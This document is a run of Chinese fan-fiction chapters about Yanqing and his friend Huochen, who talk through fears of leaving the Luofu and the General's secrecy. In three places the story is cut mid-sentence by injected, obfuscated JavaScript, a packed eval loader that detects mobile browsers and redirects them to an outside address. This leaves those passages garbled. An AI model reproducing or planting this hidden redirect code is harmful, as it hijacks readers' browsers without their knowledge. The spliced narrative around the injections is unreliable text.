可现在入夜了都看不到几个人呢,只看见对面一间屋子亮着灯,大概是书房。 彦卿还在上晚自习。 他转回来,视线不可避免地落到剑上——毕竟满屋子都是剑。彦卿平常使用长剑,最常用的那把燕啄,直立时快要有彦卿本人那么高,现在正立在床头。 除长剑外还有辅助战斗的飞剑,数柄形制一样的飞剑摆在剑架上,被灯光照得发亮,不过火尘觉得不如彦卿使用时来得好看,蓝粉紫的流光丝线一样缠绕其上,美不胜收。 彦卿摆剑很有讲究,除这些外,还有不少没见他用过的剑,剑锋钝阔的重剑、柔韧灵巧的软剑……从里到外依次排开,井然有序。但饶是如此认真排了,依然显得满满当当。 剑架上标有小字,“智剑草”“轻尘柳”“血荼蘼”……他凑近看了,猜测是每一柄剑的名字。这人倒是喜欢用花花草草命名,怪不得剑阵也叫“繁花剑海”。 火尘隔了一段距离看,没法看得很仔细,只看到离他最近的柜子里居然全是剑饰剑衣剑匣,各种形制、各种材质都有。 想想彦卿平日在工造司逛来逛去,瞧见哪个适合自家宝贝剑了,就两眼放光通通搬回去。 火尘忍不住笑:那模样倒是很有趣。 不过也好久没看过了。 他又想起自己得的那柄短剑,想象彦卿选剑的场景:站在一排排剑架前苦恼哪一柄可以给初学者用,选定后眼底透出满意的亮光。 真可爱。 小燃:“你又幸福了。” 火尘:“……你好烦。” “行啦,我不烦你,”小燃落在桌上,搬出自己随身携带的蛋壳,举起上半边往自己脑袋上罩,这动作他已经做得很熟练,“我睡觉了,没事不要叫我。” 火尘心情好,还想着跟小精灵友好地怼两句,却见小燃选的睡觉位置好巧不巧就是彦卿的蛋旁边,顿时噤声。 那个蛋跟上次见时一样,蛋壳精致漂亮充满生机,叫人一眼便想起春天,可又很安静。 好久没看到自在了。 那个吵闹的、爱告状的、无时无刻都要和彦卿黏在一起,并且认为所有人都理所当然会喜欢他的小孩子。 是啊,怎么忘了。 火尘轻轻碰碰那个蛋。 最先要问的,依然是这件事才对。 42.不走不走 【嗯?】 一声轻轻的疑问,好像还带着刚睡醒的不满。 火尘左右环顾,还以为是出现了幻觉,最后视线定格到眼前的蛋上。 原来如此,彦卿说的“自在也很好”是指这个。 他心中一喜:就说彦卿用不着担心吧。 小燃睡了,所以现在没人会蹦出来吐槽他。 他磨蹭这一会儿,才过去一刻钟,之后给自己铺好床、在卫生间洗漱、刷完两节网课、开两局以太战线匹配给开拓者贡献经验值、坐回桌前看彦卿的守护蛋发呆、躺回自己的临时床上滚来滚去…… 做完一堆事情,一看,也才在原基础上过去半时辰。 从未觉得时间如此难磨。 再者生物钟真是个很神奇的东西,他到点就困了,加上这几天还没睡好,只能是更困。 火尘一边组织语言,一边提防着犯困,小燃睡着了,连个跟他打嘴仗的人都没有。最后实在熬不住了,推开门,搬了把椅子坐门口吹风,盯着书房的灯发呆。 直到彦卿回来,端着个托盘大惊失色:“怎么坐在外面,你不冷吗?” “不冷。” 确实不冷,罗浮的天气系统会模拟四季和日夜,模拟得很真,但科技毕竟是为了改善生活,所谓的“夜间寒凉”也不过降那么一点温,完全在他承受范围里。 他盯着人一眨不眨:“我怕会睡着。” 彦卿无奈:“你睡就好了嘛。” 不扯这个,没什么好扯的。 正所谓“一鼓作气、再而衰、三而竭”,火尘给自己鼓鼓劲,开口: “彦卿。” “嗯?” 你…… “你端盘子干嘛?” 他服了。 对自己服得透透的。 “宵夜,”彦卿却不觉得哪里有问题,放下托盘给他看,“吃吗?” “吃。”这种时候倒是很果断。 彦卿端着托盘推门进屋,他跟上,坐到桌边开吃。 火尘现在是认真觉得神策府有“食不言”的规矩了:怎么又不说话?这异常安静的氛围,叫他除了一边看彦卿一边往自己嘴里塞东西外,根本干不了别的事。 彦卿吃东西跟他耍剑一样好看。 宵夜也很快被消灭了,彦卿站起,顺手收拾托盘垃圾,听他打了个喷嚏就催他洗漱完赶紧躺床上,转头自己拎着垃圾出去了。 房间又恢复安静。 火尘困意全无,躺被窝里望着顶灯数数,第不知道多少次想一会儿要说什么。 彦卿回来得很快,说来也是奇怪,即使没有刻意闹出大动静,但彦卿一来,就叫房间一整个暖和起来、有了人气。 明明是冰属性的。 他在心里嘀咕,却看见彦卿径直往这边走来,拿着眼熟的东西停在他床边,张口示意: “啊——” 是体温计。 火尘难言:“我只是打喷嚏……” “但你还在外面吹了这么久的风。” 也不久。 “哎呀,又不用你动什么,含住就好了,多久来着?七分钟?” 负责任到有些矫枉过正的主人家小孩,某种意义上也还是很可爱。 火尘顺从了。 彦卿又掏出一个东西,绕着床转了一圈在四角安装好,再一弹正能看见全貌——是床帐。 他坐起来,隔着床帐看彦卿朦朦胧胧的影子,视线跟着影子转,直到彦卿掀开床帐正对上他,一怔,解释道: “我是想,你躺在兵器堆里睡觉或许会害怕,虽然我都收好了……这样就看不到了,有好一点吗?” 火尘愣住,垂头。 他没有害怕,但真难为这人能想到这么多。 于是含着体温计摇摇头,又点点头。 彦卿笑:“什么意思?看不懂欸。” 火尘无奈:欺负我现在不能说话是吧。 还真是。 这人搬来凳子在他床前坐好,张口就是:“正好你现在说不了话,那就听我说吧,我有好多话想跟你说。” 火尘坐直。 彦卿只沉默了几秒,开口:“你收到那部幻戏了吧。” 火尘点头。 彦卿停下来观察他几秒,才接着说:“我非常希望,那部幻戏能动摇你的想法,但我没法确定……” 他的想法?什么想法? 火尘歪头,彦卿看懂了,回答:“就是你想要离开罗浮的想法。” 他瞪大眼睛:我什么时候有这种想法了! 彦卿没注意他了,陷入思绪自顾自讲: “那部幻戏是我找老师还有锦书姑娘帮忙完成的,哦,制作幻戏毕竟是狐族人的专长了,你家乡的数据是我在府库里找到的,但只有几句描述,对照着做出来,也不知道准不准,不过你过来找我了,那应该是准的吧。” “我想说,火尘,你的家乡已经不在了,”语气很严肃,严肃得火尘满头问号,“顺着记录坐标往回找,找到的可能性微乎其微;即使真的找到,那个星球也已经不适合人类生存了。” “当时正是确定了这一点,罗浮才会将星球上残存的人带走,而不是留人在当地帮忙恢复生态。” “回不了家乡,也不肯待在罗浮,你一个人要去哪里呢?”说到这里突然慌张起来,连连摆手,“不是说你只能永远留在罗浮!我只是,担心你会出事……” “而且,我也不懂,明明罗浮已经重建好了,为什么还要离开。” “你如果想家,可以看这部幻戏,虽然短了点……好吧是非常短,但也算有点用吧,就不要走了好不好?” 人形小燕子叽叽喳喳、叭叭叭叭,目测情绪还难得不稳。 即使这么能叭叭,面上却还是低落的,一双金色大眼睛水光盈盈可怜巴巴看过来,带着些恳求意味,搅得火尘脑子一团乱。 什么…… 什么什么跟什么啊! 他憋不住了,拿出体温计又扯两张纸巾,一边恶狠狠擦口水,一边不可思议看向对面人:“我什么时候说要走了?” 彦卿弱弱举手:“火尘,还没到七分钟……” “不管!”这种事情根本无关紧要。 他咬牙:“我什么时候说要走了?” 彦卿报了个具体日期,他算算,居然都是慰灵奠仪前了,现在提起来,简直像在提上辈子的事,他一点印象都没有。 “就是那天, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17421814|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的朋友来找你,跟你说‘罗浮不安全,要不要跟他走’,”彦卿鼓起腮帮子,没好气,“你说‘哦’。” 他没招了。 “你觉得‘哦’是赞同咯?” 彦卿顺着他的提问想想,大概也是回过味来,知道自己逻辑有些牵强,偏头嘴硬: “反正,我那个时候看你,就是要走的样子。” “你每次站在大家旁边,也都是一副随时要走的样子。” 他气笑了,坐到床沿按着人脑袋揉:“我就不该回那个“哦”是吧。” 害本来就想东想西的骁卫大人担惊受怕了。 彦卿由着他揉了一通,抬头脸红红的,也知道自己闹了笑话,但还是盯着他最后确认一遍: “所以你不会走了?” 他松手,拨弄对面被揉乱的头发:“我本来就不会走。” 彦卿露出一个有点傻气的笑。 火尘盯着人半晌,突然幽幽道:“真想掰开你的脑子看看里面都装了什么。” “说的什么话……” 火尘回忆当时的场景,居然诡异地理解了彦卿的脑回路: “你是不是觉得,你身为云骑骁卫,有责任让罗浮恢复平静,在听到有人因为罗浮不太平要离开,就更加着急?” 彦卿睁大眼睛看他,不说话。 一个人在做出决定时总会受到多方面的影响,不赞成别人的某个决定时,把责任归结于“自己没做好”,想靠自己努力让别人安心,改变做好的决定。 某种程度上,也算一种“自我意识过剩”吧。 虽然他清楚彦卿没什么坏心思。 “就算我真的要离开罗浮,真的在离开罗浮后死掉了,又跟你有什么很大关系?” 尊重他人命运,貌似简单,正常人硬下心来都能做到,对官职加身的少年侠客来说却很难。 他在一切开始前认识了彦卿,所以看得很清楚:彦卿本来是很开心的,抱着自己心爱的东西,生活在有爱的世界里,所有一切都能轻松完成;现在世界变大了,事情变多了,一天天的到处揽责才会不开心。 本来你自己的事情都顾不过来了,还把不是你的事情强揽过来,不是给自己增添负担吗? “当然有关系!”彦卿猛地站起来,一句一句凑近,“你要走了,我会舍不得;真的走了,我会很想念;如果你在外面死掉了,我也会很伤心。” 怎么能说没关系。 已经很近了,所以他清楚看见彦卿眼里的情绪: “怎么能说没关系?” 火尘梗住,对面那双眼却目光灼灼,执意要他现在说点什么。 那就说吧。 “对不起,”他低头,“我又说错话了。” 他又让彦卿伤心了。 “啊?啊,也不是,”彦卿反倒一下醒神,慌张起来,“我不是指责你,只是想要你知道我怎么想,火尘关心我,我知道的……” “但是你那样,”彦卿拧眉看他,“‘跟你有什么关系’‘跟我有什么关系’地说,好像又要走掉了,明明你就躺在这里……” 像是困惑又像是委屈,还越说越委屈。 火尘向前倾身,环抱住这个人,听话音止住。 43.吵翻天总比伤心好 他确实是想过离开的。 和彦卿以为的不太一样,他只是一直不确定,自己是否真能留在罗浮,又或者,是不是真的活下来了。 没有离开的想法,也没有留下的想法,所有一切都是顺势而为,他在意的人如此希望,他就这么做了;他在意的人不希望他死,所以他在罗浮待到现在。 认识彦卿之后,他又时时想着,自己会在几时离开彦卿。 离开的理由也设想了很多种: 长短生、成长速度、前进方向、感情倾向…… 彦卿是长生种,他是短生种,这是最简单的一条——长生种打仗动辄几年几十年,若是碰上大型战役,持续上百年都有可能,彦卿上一次前线回来,他的寿命说不准就没了三分之一,日后见面的机会本就不多; 彦卿成长速度太快,他每天得过且过,不刻意离开也会渐行渐远; 彦卿是举世罕见的天才剑士,每天对着剑心无杂念; …… 种种种种。 所以火尘给自己留退路,他只想留在罗浮上,用尽余生看着彦卿走向辉煌,以后看不到就算了,现在能看几眼是几眼。 所以火尘死都不表白,对维持他想要的关系没有好处。 表现出来,大概是一点点的犹疑、一点点的避让、一点点的游离。 被彦卿看出来了。 显然这个人没什么根据,只靠直觉,但就是看出来了。那个“哦”不过是导火索,他平日的态度才是元凶。 火尘叹气: 未免太敏锐了些。 “彦卿,”他下定决心,“我也有话跟你说。” 嗯? 彦卿突然想起什么,转头看被扔在一边的体温计。 “行了,我没病,别看了。” 彦卿放□□温计,一溜烟去了卫生间:“那我去洗漱。” 这家伙……自己的心理问题解决了就不管别人了是吧! 火尘摇头笑,等彦卿出来的间隙,他又琢磨一遍刚才的对话:或许他该转变一下心态和做法,也不用变太多,就……不要那么悲观,更亲近一些? 他发了会儿呆,彦卿就出来了,搬着自己的枕头被子站到他床前。 火尘:? “干嘛?” “坐久了累。” “……那躺你床上去。”那么大一张床放那儿干看着吗? “哦,”彦卿满脸无辜,“可是我觉得离太远了不方便说话。” 一个房间里能有多远。 你离我这么近我才不方便说话! “你进去点,我要躺这儿。”但这边不管他,已经开始指挥了。 彦卿刚洗完澡,换了睡衣,一身白,袖口是蓝色,能看见粉色内衬,衣襟依然用金线绣着柳叶,再往上是……是过分精致的脸,头发草草吹完,散乱着搭在衣襟边滴水。 这么看过去,像是又小了几岁,完完全全的小朋友。 罪过啊罪过。 火尘脑子里闪过一堆乱七八糟的想法,最后眼一闭,裹着被子滚到里侧,把自己滚成一个春卷,得了彦卿一声笑。 “你确定不会走了吧。” “确定,确定,”他无奈,“我好端端的干嘛要走?” 彦卿大概喜欢蓝色,他看着人铺床想,连被子都是蓝色,绣着小燕子和流云的花纹。 彦卿已经躺好,又得了自己想要的肯定回答,抬眼看同床的好朋友正看着自己,就大大方方回一个笑。 心里有鬼的人什么都看不得。 火尘从榻上坐起,勉强跟躺着的彦卿拉开一点距离。 “你头发吹干了吗?” 躺着的人很干脆:“干了。” 火尘也很干脆,干脆地把人拎起来重吹——他自己那么长的头发,太清楚吹干头发大概需要多长时间了。 彦卿不太乐意,坐起来背朝他,嘀嘀咕咕小声抱怨。 那一头金发落到他手里,火尘恍惚又像摸到那天搬货时碰的名贵布料,忍不住放轻了动作,一下一下慢慢理顺。 彦卿感觉到了,打哈欠:“你这样要吹到哪一年啊?” 啧,“你坐着就是了。” 彦卿是直发,发丝细软,整体柔顺,发尾齐齐的一刀剪,发梢却微微上翘,怎么都梳不下来,风一吹翘得更厉害,跟这人的乖孩子外表犟种脾气正搭配。 毛没长齐的小屁孩。他一边吹一边腹诽,到完全吹干了还舍不得放,彦卿一骨碌钻回被窝里,躺着看他,用眼神表达自己不愿再起来的强烈愿望。 知道了知道了。 他把吹风放到桌上,犹豫两秒,抓起两个守护蛋回到床上。 “你想问这个?”彦卿挑眉,手从被子里探出来接过自己的蛋,“自在确实好多了,没骗你。” “没说你骗我,”他还是坐着,低头盯人,“彦卿,我再问一遍。” “那天到底发生了什么,你的守护蛋才会闭拢。” 彦卿原本迎上了他的视线,现在又移开:“呃,这个……” “我很在意这件事,没有办法不在意,其他事情都要排在它后面……哦,当然,其他的我也要问,”火尘盯紧人,“一个晚上,你自己说的,不许跑。” 彦卿视线转回来,瞪他:“谁要跑了!” “那你说。” 火尘直起身等回答,靠墙坐着看起来好整以暇,彦卿瞄两眼,莫名来气,伸手一拽就把人拽倒在床铺上。 火尘:! 现在两极反转了,彦卿按着他不让他起来:“我要这样说。” 这人满意了,一双眼神采飞扬,就连安静思索都显出活力,片刻后思考结束:“我要说了!你不许笑我。” 他哪儿敢啊。 火尘放轻呼吸,趁彦卿思考慢慢往后挪,直到后背靠着墙了才松一口气——即便如此,也还是太近了。 今天晚上要睡不着觉了。 彦卿倒是做好准备就不犹豫,说得很流利:“我当时认定是星核猎手在罗浮投放星核,其中那个叫‘刃’的成员先是被捉住,后来又越狱了,我一路追踪他,好把人捉回来逼问星核之事,先是去了流云渡……” 在这里顿住片刻,继续说:“我在流云渡遇到一个人,那人你后来在工造司也见到了。” 嗯,还看到了彦卿亮瞎人的那一剑。 “真是令人印象深刻的一剑。”彦卿忍不住赞叹。 这句显然不是在说自己,是在说那个白发剑客。火尘倒也有印象,不过主要是对人的印象——阴晴不定、一身前辈高人的气质;剑倒不太记得——毕竟他不懂剑,只盯着自己想看的看。 “那一剑已叫我开了眼界,知晓自己过去所见有多浅薄,”就连那些沾沾自喜的瞬间都变得很讽刺,“但当时着急找刃,哦,她也是来找刃的,我怕她对犯人做出点什么,所以也没顾得上细想。” 就继续猛猛冲了。 行动力太强,想得太少。但某种程度上,这也是彦卿的优点。 彦卿趴在枕头上瞄他两眼,火尘点头,示意自己有在听,没有更多表情。 彦卿就继续讲:“后来我一路追到了祈龙坛,刃是找到了,但饮月君的后世也在,我觉得他们在这个节骨眼出现,一定是对罗浮有所图谋。” 很彦卿的思路。 说一半不说,又在瞄他反应了。火尘面上没反应:“所以?” “所以,”彦卿看着他讲,“我想把他们都抓进幽囚狱关起来。” 彦卿的“想”,大概率是已经这样做了。 一个身价八十亿的星际通缉犯,一个今生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17425389|199128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没什么记载但大概率也很强的龙尊。 啧。 上回抓你一下,就要喊痛;在外面被人合伙打了,倒是一点不觉得疼,还一通操作猛如虎。 火尘揉揉眉头,还是忍着听下去,听到自在闭拢,以及这人“一定是自己做错什么”的论断,终于没忍住开口: “彦卿,假如我是你,绝对不会觉得自己所做有任何问题。” 我还要指天骂地,把跟这件事相关的所有人都骂一遍,碰到一个骂一个,碰到两个骂一双,打不过就背后骂,今天骂不完就明天骂,以后碰到任何不顺心的事了都要把这件事翻出来骂一骂。 不骂干什么,跟你一样受这窝囊气吗? 彦卿看起来还在疑惑。 火尘躺不住了,一下坐起,抱臂拧眉,先问在他看来最难理解的一点: “神策将军为什么不告诉你计划?” 他都领你去幽囚狱看犯人了,却不告诉你他跟犯人有合作,还把犯人当着你面放走了? 然后你空有行动权限没有关键信息,横跨几乎整个罗浮追踪通缉犯,他再出来告诉你你这是白忙活一通,你再自责自己没帮上忙还差点闯祸? 这么一想,就又想起来: “上次是不是也是这样?开拓者、卡芙卡,他们瞒了你什么吧。”然后又打了一架,精神恍惚到分不清方向。 “有病吗?” 火尘不理解:“你们所有人都有病吧。” 彦卿愣了一下,似乎怀疑自己听错,片刻后瞪大眼睛,语气稍重:“火尘!” 生气了。 大概是因为他扫射到将军。 那咋了。 当他不生气吗? 他都要气笑了,一生气语速就变快,放炮一样噼里啪啦一大串:“你气呀,你气死了,我气死了,我也还是不明白,哪家好人家打架跟吃饭一样频繁,说话弯弯绕绕还瞒这瞒那的……!” 彦卿一个翻身把他按倒在床上,他猛地收声。 太突然了。火尘缓了几秒回过神,对上一双居高临下灿若星子的眼睛,金灿灿的简直像要把他吸进去。 不能动了。 第一次不是旁观而是亲身感受到这人身手有多好,他没有任何痛感,但就是不能动了。 “干什么?”嘴还能动,他冷笑,“云骑骁卫审犯人呢?” “火尘——”彦卿拖长音,语气能听出真的很无奈,“你不要这样。” 我哪样? 问你两句话就受不了了,你三天两头的挨打以为我受得了吗? “那件事情况很复杂……” “你又要说这个人有理由那个人有理由了?”火尘气昏头了,不给人机会说,“是,别人方方面面你都能考虑到,你自己的事就一点都考虑不到,天天说夜夜说一点用都没有,我说话难听怎么了?反正你又不听,难听好听跟你有什么关系……唔!” 彦卿两手捂住他嘴,头疼到脸都皱起:“火尘啊……” 输出被强行中断了,火尘找回一点理智,但还是气炸毛的状态,当真像一只人形大刺猬。 不过多少有点安慰。 他之前不告诉火尘,是怕火尘伤心担心,现在火尘吵翻天,至少比伤心好一点。 彦卿捂了一会儿,谨慎松开手,火尘瞪他,但没有开口吵了,他再说: “我考虑到了,我自己的事。” 火尘气没消,说话冲冲的:“哪儿呢?看不见啊。” “在对面。” ? 他对上火尘疑惑的眼神,慢慢道: “其实我房间对面就是神策府的客房,里面东西都是备好的,将军也让我安排你住客房。” 火尘卡住了,他继续说: “但是我想要你跟我住,就没管。” 44.夜话 “我想要跟你说话,也想要你听我说话。” “睡一间房会方便很多。” 这话其实出现得相当奇怪。 内容和他们的争执没有任何关系,但彦卿直觉这句能哄到火尘,就说了。 看来效果还不错。 火尘在憋气。 憋气结束。 他憋足气刚要说话,对上对面完全真诚的眼神又不知道该说什么。 只得卡住。 “我就在这里,你看,”但彦卿没卡,垂头靠得更近了些,几乎要和他额头碰额头,“一点事都没有。” …… “蛋都闭拢了还没事,”四目相对,火尘沉默半晌,偏头,嘀嘀咕咕近似腹诽,“好了伤疤忘了疼。” 彦卿听懂这人语气软化,跟着放松了些:“我就是好了伤疤忘了疼嘛。” “哼。” “火尘,你听我说。” 朋友珍视他,彦卿感受到了,所以他也想一句一句解释给对方听。 火尘头转回来,目光灼灼,示意他可以开始讲了。 反应真好懂。彦卿忍住笑,重新整理思绪。 首先是将军。 “将军习惯了的。”他想想,这样开头。 “很长时间里,将军都是自己做决定,青镞姐她们只负责收集整理信息。” “听说其他仙舟的将军,身边至少都会有一两个参军谋士,多的甚至能被称为‘智囊团’。” “可是将军没有。”所以他每次都自己做决定。 彦卿也疑惑过,他以前不觉得谋士很重要,毕竟将军算无遗策,神策府还有青镞姐和其他策士在,也不会出岔子。 所以他兴致勃勃跑去问,问的都是自己有没有早已出师的师兄师姐,可以跟他切磋几把。 “没呢。” “一个都没有吗?明明将军都几百岁了。” “兵倒是带过不少了,弟子嘛,”自称老人家的将军捧着茶杯出神,斜斜瞥来一眼,依然是哄孩子的语气,“我现在就只有一个彦卿。” “怎么,无聊了?我陪你练练呗。” 他觉得奇怪:“您几百年不收徒,单单只收一个我,这样够用吗?” “什么话?够用不够用的,”将军敲他脑袋,“我在你这儿是吃小孩的老妖怪?” 就被糊弄过去了。 后来他问将军怎么不收别人光收他,将军说是因为他有天赋。 听着像在哄人,可他确实有天赋。 可他又觉得将军不是那么在乎天赋的人。 彦卿原原本本讲出来,发现回想一些快乐的事情确实会心情好,低头,看见朋友听得入神:“火尘?” 火尘回神:“然后呢?” 好像已经稳下来了。彦卿观察两眼,放下心:情绪稳定的火尘是最好的倾听者。 “后来符太卜来了,将军会跟她分享信息,也会问符太卜有什么妙计,”虽然那看起来更像在引导决策,“就好比这次事件,符太卜知情,我不知情。” 火尘挑眉:“不生气?” “不生气,”彦卿转转眼珠,“刚开始生气,想明白就不生气了。” 钟表“咔哒”一声,已至罗浮设定的深夜,彦卿钻出被窝关灯,只留一盏床头灯。 “你知道吗火尘,将军说我是他最信任的人,但是又什么都不告诉我,是不是很矛盾?” 灯一关,声一低,多出一股说悄悄话的味道。 火尘凑近点头,也很有听悄悄话的自觉。 “后来我想到一个解释,”彦卿还没跟别人说过这个推论,继续压低声音,“将军把我养大,他信任我,是基于对我的了解;信任符太卜,则是出于她的能力。” 虽然都是信任,但偏向不一样,相比之下,后者可以解释为“符太卜的能力令人信服”,也是彦卿更希望达到的状态。 “前者呢?” “将军了解我,我不管做出何种行动,对他来说都是意料之中。” 虽然很不甘心,但前者该解释为“将军信任自己的判断能力”,以及“彦卿是一个全部心思写在脸上非常好懂的小孩子”。 彦卿叹气,不止很不甘心,简直是太不甘心了。 火尘沉默片刻,应话:“将军是执棋者。” “对,将军是执棋者,”彦卿点头,“可他自己也在棋盘上。” 最后决战,将军准备对战幻胧时,在想什么呢?和符太卜说了什么呢? 彦卿想不出来,只记得自己那时在符太卜口中得知真相,和其他云骑一起留下来收拾战场残余,心中充满对自己能力的怀疑和闯下大祸的愧疚,以及不知将军能否归来的惶恐。 那委实不是什么好滋味。 然后火尘就出现了。 明明应该待在工造司,却出现在战场上,受了伤还装作没受伤,揣着两个蛋坐在他房门口等到睡着。 彦卿记得检查报告上那道伤口的位置,探出手,摸索着抓住对方的手腕。 火尘抖了一下。 他无奈叹气:“你对我说那些话,完全是五十步笑百步吧。” 独善其身、事不关己,绕来绕去都是说说而已,该干的不该干的明明都干了。 “……我至少比你有分寸。” “是吗?”彦卿故作惊讶,“感觉不出来。” 火尘:…… 噎了朋友一下,彦卿眯起眼笑,把被他拉出来那只手塞回被窝,再掖好被角: “你不是一直不高兴我往自己身上揽责吗?” “可我觉得,如果我揽了责,我就有机会做些什么来改变,比被排除在计划外、眼睁睁看着不好的事情发生要好得多。” 在这一点上,火尘的做法分明跟他是一样的。 彦卿不是会被言语唬住的人,所以看得很清楚:他的朋友每天说着这也不管那也不管,最后这也管那也管,什么都管了。 这样的你,一定能理解我。 火尘很想说他不理解。 那双金色的、圆溜溜的孩童眼睛紧迫盯人,在说这些话时变得明亮锐利,简直像是虚长了几岁: “我并不介意被将军当成棋子。既然将军认可我的实力,我当然要替他多多分忧才是。” “我只是难过自己能力不够。” 但他只是埋进被窝,盯着那双眼睛瞧,心想这人怎么一会儿大一会儿小的。 安静一会儿,没等到他反应,彦卿开始直接劝,劝人像撒娇: “你不要对将军有意见嘛。” “我不是对将军有意见。” 我只是希望有人不讲任何道理、不考虑任何大局地站在你这边,告知你全部信息,肯定你的行为,珍视你、为你的伤口难过,指出那些大人世界的争端与你无关,参与进去是意外,处理不好才正常。 你的世界被粗暴地破坏了,没有人予以补偿,没有对象可以怨恨。 他大概是说出来了,彦卿表情一变,钻到这边来抱他,一下一下拍他的背,就像要快速传递温度: “火尘。” “你想起你的家乡了?” 你的世界被粗暴地破坏了,没有人予以补偿,没有对象可以怨恨。 他不答话。 “怎么好这样类比呢?我的情况完全没有你严重。” 声音比刚才低沉好多,是难过吗?彦卿在为他难过,即使他半个字没提家乡。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我有一个请求。”火尘转回来。 “嗯?” 都说人生苦短,他对自己感知幸福的能力已经不抱期望,只偶尔的偶尔,会有那么几个闪着光的瞬间。 但彦卿一定会幸福的,不管发生什么,不管去到哪里,因为他拥有获得幸福的能力。 “跟我说些高兴的事情,以后也是,”不求你全部告诉我了,“剑术有进步也好,买到喜欢的新剑也好,自在的再孵化有进展也好……” “你高兴了,我就高兴。” 把彦卿的幸福看作自己的幸福,那只要彦卿幸福了,他也就幸福了,就像是一条获得幸福的捷径。 “好,”彦卿认真应下了,复述一遍,“我会告诉你,你也要告诉我。你高兴的话,我也高兴;你不高兴了,我也不高兴。” “……后一句还是不要说吧。”他本来就没什么好东西,糟糕的东西就不要分享了。 彦卿探手摸摸他眼周,给他把眼泪抹了:“不行,要说的。” 火尘被这人的怀柔手段弄得一点争辩心都没有,仰面盯着人发呆,片刻后,伸手要抱。 彦卿很大方。 他埋在彦卿腰间,闷声:“抱歉。” “嗯?” “我知道你很珍视将军了,我不该在你面前说将军不好。” 彦卿拍拍他脑袋,像是安慰。 他再翻过来,仰面看着对方——彦卿正垂头看他,眼神专注,金发垂下几缕,坐在暖色灯光里,像一尊小小的神明: “你也知道我很珍视你了。” 彦卿一怔。 “所以拜托你,不要再在我面前说自己哪里不好。” “你哪里都好,没有不好。” 45.静止的黑化蛋 火尘和彦卿的相处模式有了些微妙的变化。 火尘剪了头发,没什么原因,就是想剪。剪完之后在彦卿面前转来转去,直到彦卿问: “火尘,你在消食吗?” 他猛回头:“我长发好看还是短发好看?” 啊。 彦卿似乎对他的提问感到疑惑,但还是很快做出反应,真诚夸赞:“都好看。” 他又幸福了。 彦卿还是时常来工造司看自己心心念念的宝剑,但是只看不买,作风和以前大不一样。 “再买下去,房间真要没处下脚了,”大收藏家有大收藏家的烦恼,“总不能央将军再给我辟一个房间吧?” 火尘:“将军怎么说?” “……将军说我可以出掉一些没那么喜欢的来回血。” 但彦卿的小苦瓜脸看着更像是要吐血。 火尘想想:“你要是不介意,可以往我这里放。”反正他东西少。 “火尘——”彦卿欢呼,“好朋友!” 此外还有一些零零碎碎的事情: 火尘说工造司的司砧去朱明交流学习,公输师傅代掌工造司只能忙里偷闲打以太战线; 彦卿说符太卜跑来跟将军聊自己司部里的年轻卜者行事懒散如何整改,将军当着她面睡着了; 火尘外卖吃腻了,最近开始学做菜,成功失败都给彦卿吃; 彦卿恢复精神,训练巡逻切磋每天忙得不亦乐乎,偶尔踩着剑路过火尘家阳台顺便打招呼; 彦卿说他之前给小猫撑伞,现在那几只猫都爱跟着他走,问火尘要不要养。 火尘拒绝,他倒是养过一些花草,侍候植物已经很费劲了,动物只能是更加费劲,没做好准备就不能养。只问过地衡司后,在许可的位置贴了张给猫找主人的广告,之后就什么都不管了。 饶是如此,依然得到了彦卿“很有责任心”的评价。 “要是没给它们找到主人怎么办?” “那就养在神策府咯,”彦卿已经想好了,“反正将军喜欢猫,这种小的也好,朔雪那么大的也好,将军都喜欢,我来养,也不用他操心。” “朔雪?” “朔雪是将军以前养的狮子,小名叫咪咪……” 零零散散、细细碎碎,都是些没法细数的日常。 具体哪里变了也说不清,但就是变了。 如是半个月过去,现在提起那天晚上的事,火尘都有些恍惚了。 “到最后,”小燃倒是记得清楚,坐在勺子边吃布丁,顺便复述自己的结论,“你根本就是什么都没问到嘛。” “我有什么办法,那天彦卿困了。”火尘撇嘴。 “是吗?”小燃瞅他一眼,“是彦卿困了,还是某人被他哄睡着了,睡到日上三竿才起来,结果发现人家一大早已经出任务去,想问也没机会问了。” 再激烈的情绪、再陌生的环境,顶不过火尘的生物钟。平常是几时起,那天照旧是几时起,等他醒来时,神策府已经没几个人是睡着的了。 错失良机已经让他很苦恼,时隔半月的风凉话更是雪上加霜。 火尘额头爆出井字,和守护甜心瞪视一番,抄起对方跟前的勺子就往自己嘴里塞,没吃完的布丁一口下肚。 小燃看一眼,面前空荡荡,又看他,摇头叹气:“幼稚。” 火尘咬着勺子得意:就幼稚。 一块布丁被小燃吃这么久仅受皮外伤,火尘拿过去自己吃了,给他重新开了盒小的。 “下午好,两位!”彦卿闪身出现在阳台。 火尘哽住,虽说这么些天也该习惯了,彦卿除了最初那次外,来他家就再没走过正门。 这次照旧是路过打招呼,彦卿随口说两句话捞了他两个布丁就要走,走之前突然想起来: “火尘,最近小心点。” “小心什么?”突然来这么一句还是挺吓人的。 彦卿拧眉:“细节依然不能说。” 